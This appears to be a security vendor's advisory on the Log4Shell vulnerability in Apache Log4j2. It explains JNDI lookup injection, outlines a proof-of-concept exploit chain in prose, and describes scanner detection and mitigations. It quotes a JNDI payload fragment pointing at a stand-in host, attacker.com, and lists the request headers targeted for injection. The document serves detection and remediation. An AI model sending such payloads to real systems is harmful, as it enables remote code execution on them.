Is Your Web Application Exploitable By Log4Shell Vulnerability?

On December 09, 2021, a critical remote code execution vulnerability was identified in Apache Log4j2 after proof-of-concepts were leaked publicly, affecting Apache Log4j 2.x <= 2.15.0-rc1. The vulnerability is being tracked as CVE-2021-44228 with CVSSv3 10 score and affects numerous applications which are using the Log4j2 library.

Successful exploitation of this vulnerability could allow a remote attacker to download and execute arbitrary code on the target system. With the vulnerability being actively exploited in the wild, considering the gravity of the situation, Qualys Web Application Scanning has released QID 150440, 150441 which sends specially crafted requests to the target server to detect vulnerable web application instances using the Log4j2 library. Once successfully detected, users can remediate the vulnerability by upgrading to Apache Log4j 2.17.1.

On December 14, 2021, CVE-2021-45046 was published to address the deficiencies in CVE-2021-44228. Later it was also identified that under non-default configuration Apache Log4j 2.15.0 could allow an attacker to exfiltrate data and achieve remote code execution (RCE). Qualys WAS team is working on improvements to our detections.

On December 27, 2021, Log4j 2.17.1 was released to patch a new arbitrary code execution vulnerability discovered in version 2.17.0. The vulnerability is tracked as CVE-2021-44832 and affects versions 2.0-alpha7 to 2.17.0 excluding security fix releases 2.3.2 and 2.12.4.

About CVE-2021-44228

Apache Log4j is an extremely popular java library used by application developers to log data, this logging functionality helps with debugging issues and security incidents. The logged untrusted data could be errors such as exception traces, authentication failures, and other unpredicted vectors of user input. If the data contains a certain payload, the JNDI lookup method triggers and executes arbitrary code from attacker-controlled servers leading to Remote Code Execution Vulnerability.

Vulnerability analysis

In Log4j2 the lookups functionality gives the user the ability to add values to the configuration at arbitrary places with ease of maintaining the format. There are multiple lookup methods such as Map Lookup, Environment Lookup, Context Map Lookup, etc.

The vulnerability was introduced in Log4j2 version 2.0-beta9 when the “JNDILookup plugin” was added as part of lookup methods to the library. As per official documentation:

“The JndiLookup allows variables to be retrieved via JNDI. By default, the key will be prefixed with java:comp/env/, however, if the key contains a “:” no prefix will be added.”

JNDI which stands for “Java Naming and Directory Interface” is a Java API which allows Java applications to perform look-ups and retrieve Java objects using protocols such as LDAP, RMI, DNS, etc. This JNDI lookup allows a developer to retrieve DataSource objects and enhance the data which is being logged by the log4j library.

JNDI Injection

On vulnerable instances of Log4j2, any data that is being logged can trigger the application to reach out to attacker-controlled servers.

As the attack vectors are not limited to specific injection points, attackers can test the vulnerability by injecting malicious JNDI lookup payloads inside HTTP request headers or via POST request form fields such as username, email, password, etc. to test this vulnerability using:

Where vulnerable instances will parse the above payload and reach out to malicious LDAP server attacker.com via JNDI lookup method to execute the rce_class .

It is safe to say that the vulnerability is present in the environment due to an improper input validation vulnerability. On any new log entry if log4j encounters a JNDI lookup string starting with ${jndi:protocol:// , it will try to parse it and thereafter perform the lookup action to resolve the required variable and eventually fetch and execute the malicious rce_class .

Remote Code Execution POC:

Qualys WAS team was able to exploit the vulnerability successfully on a vulnerable instance of Log4j, below is the POC to demonstrate how attackers are exploiting this vulnerability in the real world:

Vulnerable application code :

First, the attacker injects the JNDI payload into the vulnerable application, once the input is logged by log4j, it will parse the text and try to resolve it.

Stage one : LDAP referrer

The above payload supplied by the attacker is using LDAP protocol. The log4j library on encountering this string will make a LDAP query to the target LDAP server running on 127.0.0.1:1389

Next, the attacker uses marshalsec package to setup a LDAP referrer that accepts incoming JNDI lookup request and creates a redirection to an HTTP server hosting the malicious class (Exploit.class) as show below:

Stage two: Hosting malicious class

Here, an HTTP server is hosting a malicious Java class which will execute a command to open a calculator application on the target server.

Finally, the malicious class is download and executed leading to remote code execution.

Detecting the Vulnerability with Qualys WAS

Customers can detect Apache Log4j Remote Code Execution vulnerability (CVE-2021-44228) with Qualys Web Application Scanning using QID 150440, 150441:

QID 150440 – Apache Log4j Remote Code Execution (RCE) Vulnerability (Log4Shell CVE-2021-44228)

The WAS module injects JNDI payload into the headers listed below, application specific vulnerable endpoints and uses Out Of Band (OOB) detection mechanism where vulnerable instances will make a callback DNS query that will trigger Qualys Periscope detection mechanism :

X-Api-Version
User-Agent
Referer
X-Druid-Comment
Origin
Location
X-Forwarded-For
Cookie
X-Requested-With
X-Forwarded-Host
Accept
Authentication
Authorization

Vulnerable Applications detection covered under QID 150440:

Apache Struts2
Apache Solr
Apache Druid
Apache OFBiz
Apache JSPWiki

Qualys WAS OOB service uses unique DNS payload on every request which makes the detection mechanism accurate in identifying the vulnerability.

WAS Log4Shell Detection Methodology with Qualys Periscope

When WAS tests a web application for the Log4Shell vulnerability, the following steps are performed:

WAS makes multiple requests with specially crafted payloads in the request header fields listed above. For example, the ‘User-Agent’ here has been modified to include a specific payload to Qualys Periscope:

If the scanned application is vulnerable to Log4Shell, it will attempt to connect to the address in the modified request header. However, it must first resolve the FQDN for the domain qualysperiscope.com shown in the payload.
As part of the DNS resolution process:
1. The request is received by the Qualys Periscope DNS service.
2. The DNS service processes the request to verify the hash embedded in the request is valid. This ensures the lookup request is genuine and was generated by a WAS scan.
3. If the hash is verified, Periscope logs the request internally.
4. If verification fails, the request is dropped.
WAS then queries Periscope with the lookup request data along with the scan ID and hash for each of the injected request header payloads.
1. Periscope verifies the hash from WAS and either:
  1. Matches the WAS query against a logged lookup request from the web application – the site is vulnerable to Log4Shell.
  2. Fails to match the WAS query against a logged lookup request from the web application – the site is not vulnerable.
WAS processes the data received from Qualys Periscope, and reports any vulnerabilities corresponding to payloads which were successfully executed.

Scan Configurations :

QID 150440 has been added to the WAS Core Detection Scope, so all scans using the Core detection will include this QID in scanning. However, to expedite testing for CVE-2021-44228 across all of your web applications, it is recommended that you create a new scanning Option Profile to limit testing to only this specific vulnerability. This can be done by creating a new Option Profile and selecting “Custom Search Lists” under the Detection Scope to create a new static list.

Complete the creation wizard and add QID 150440 to the Static Search List.

Optionally you can add Information Gathered (IG) QIDs for confirmation of links crawled, scan diagnostics, etc. IG QIDs will not significantly impact the efficiency of the scan.

IG QIDs: 6 ,38116 ,38291 ,38597 ,38600 ,38609 ,38704 ,38706 ,38717 ,38718 ,42350 ,45017 ,45038 ,45218 ,86002 ,90195 ,150005 ,150006 ,150007 ,150008 ,150009 ,150010 ,150014 ,150015 ,150016 ,150017 ,150018 ,150019 ,150020 ,150021 ,150024 ,150025 ,150026 ,150028 ,150029 ,150030 ,150032 ,150033 ,150034 ,150035 ,150036 ,150037 ,150038 ,150039 ,150040 ,150041 ,150042 ,150043 ,150044 ,150045 ,150054 ,150058 ,150061 ,150065 ,150066 ,150067 ,150077 ,150078 ,150080 ,150082 ,150083 ,150086 ,150087 ,150089 ,150094 ,150095 ,150097 ,150099 ,150100 ,150101 ,150104 ,150105 ,150106 ,150111 ,150115 ,150116 ,150125 ,150126 ,150135 ,150140 ,150141 ,150142 ,150143 ,150148 ,150152 ,150157 ,150164 ,150167 ,150168 ,150169 ,150170 ,150172 ,150176 ,150177 ,150182 ,150183 ,150184 ,150185 ,150186 ,150194 ,150195 ,150197 ,150202 ,150203 ,150204 ,150205 ,150206 ,150208 ,150210 ,150244 ,150245 ,150247 ,150257 ,150261 ,150262 ,150265 ,150277 ,150291 ,150292 ,150308 ,150325 ,150344 ,150345 ,150348 ,150350 ,150351 ,150352

We recommend limiting the scan to between 50 and 100 links in scope maximum.

Additionally, configure the scan to be launched at “Maximum” Performance for faster scan completion.

Scanning with the above mentioned scan configurations will achieve two things to expedite testing your web applications in the most efficient way possible. First, we are only testing for one specific vulnerability, QID 150440. Second, as this vulnerability is only tested at the base URI and several directories up and down as appropriate, there is no need to crawl and test every link in the application. These two changes will allow each web application to be scanned faster than full Core detection scans while still providing you the necessary visibility of any vulnerable versions of Log4j2.

Report : 150440

Once the vulnerability is successfully detected, users shall see similar kind of results for QID 150440 in the vulnerability scan report:

As you can see in the above report, the payload is injected inside User-Agent request header and makes a DNS lookup request to the Qualys Periscope detection mechanism.

Qualys WAS has released QID 150441 – Forms Vulnerable to Apache Log4j Remote Code Execution (RCE) Vulnerability (Log4Shell CVE-2021-44228), which injects JNDI payloads into every user input form field ex. (username, email, password) which makes it more reliable and efficient detection in comparison to open source scanning scripts written in Python and Golang which have limited scanning capability.

After injecting JNDI payloads into every form field, the vulnerable application makes a DNS lookup request to Qualys Periscope mechanism:

Report : 150441

On successful detection, users shall see similar results in vulnerability scan report:

In the above report we can see, specially crafted payload was sent via HTTP POST request to uname parameter of the application login form, which then makes a DNS lookup request to the Qualys Periscope detection mechanism.

About CVE-2021-45046

Apache Log4j 2.15.0 was released to address CVE-2021-44228 but it turned out that the fix was incomplete in certain non-default configuration setup. In CVE-2021-45046, security measures were added to version 2.15.0 to prevent remote code execution by restricting JNDI LDAP lookups to localhost by default, i.e., a remote connection to attacker.com will be blocked in ${jndi:ldap://attacker.com payload.

According to Apache Security advisory when the logging configuration uses non-default pattern layout with a Context Lookup value ex. $${ctx:loginId-value} , attackers with control over Thread Context Map (Mapped Diagnostic Context or MDC) input data can craft malicious input data using a JNDI Lookup pattern which would allow data exfiltration and remote code execution in certain scenarios.

About CVE-2021-44832

The arbitrary code execution vulnerability discovered in version 2.17.0 affects Log4j2 instances when an attacker with permission to modify the logging configuration can construct a malicious configuration using a JDBC Appender with a data source referencing a JNDI URI which can execute remote code. This issue is fixed by limiting JNDI data source names to the java protocol in Log4j2 versions 2.17.1, 2.12.4, and 2.3.2.

The Qualys WAS research team is constantly working to find more attack vectors and will update the signatures accordingly. We are also working on detecting the vulnerability affecting applications using Log4j logging utility and will update new QIDs as needed.

Solution

It is strongly recommended to upgrade to the latest Apache Log4j 2.17.1 to remediate these vulnerabilities (CVE-2021-44228, CVE-2021-45046, CVE-2021-44832). According to Apache Security Advisory version 2.17.1 also remediates DoS vulnerability (CVE-2021-45105) which was present in version 2.16.0.

Release details Apache Log4j 2.17.1 : https://logging.apache.org/log4j/2.x/changes-report.html#a2.17.1

In cases where upgrading the version is not possible, we recommend applying the following mitigation guidelines:

For Log4j 1.x : Applications using Log4j 1.x are only vulnerable to CVE-2021-44228 when they use JNDI in their configuration. CVE-2021-4104 has been filed to track this vulnerability and can be mitigated by auditing logging configuration to ensure it has no JMSAppender configured.
For Log4j 2.x : Implement one of the mitigation techniques below :
- Upgrade to Log4j 2.3.2 (for Java 6), 2.12.4 (for Java 7), or 2.17.1 (for Java 8 and later).
- In prior releases confirm that if the JDBC Appender is being used, it is not configured to use any protocol other than Java.
- Remove the JndiLookup class from the classpath: zip -q -d log4j-core-*.jar org/apache/logging/log4j/core/lookup/JndiLookup.class.

For latest updates on solution and mitigation guidelines, please refer to Apache Log4j security advisory

Credits

Apache Security Advisory: https://logging.apache.org/log4j/2.x/security.html

CVE Details:

Credits for the vulnerability discovery go to:

Chen Zhaojun of Alibaba Cloud Security Team.
Kai Mindermann of iC Consult and separately by 4ra1n

References:

Contributors

Sheela Sarva, Director, Quality Engineering, Web Application Security, Qualys
John Delaroderie, Director, Product Management, Web App Security, Qualys

Please contact John Delaroderie if you need further information.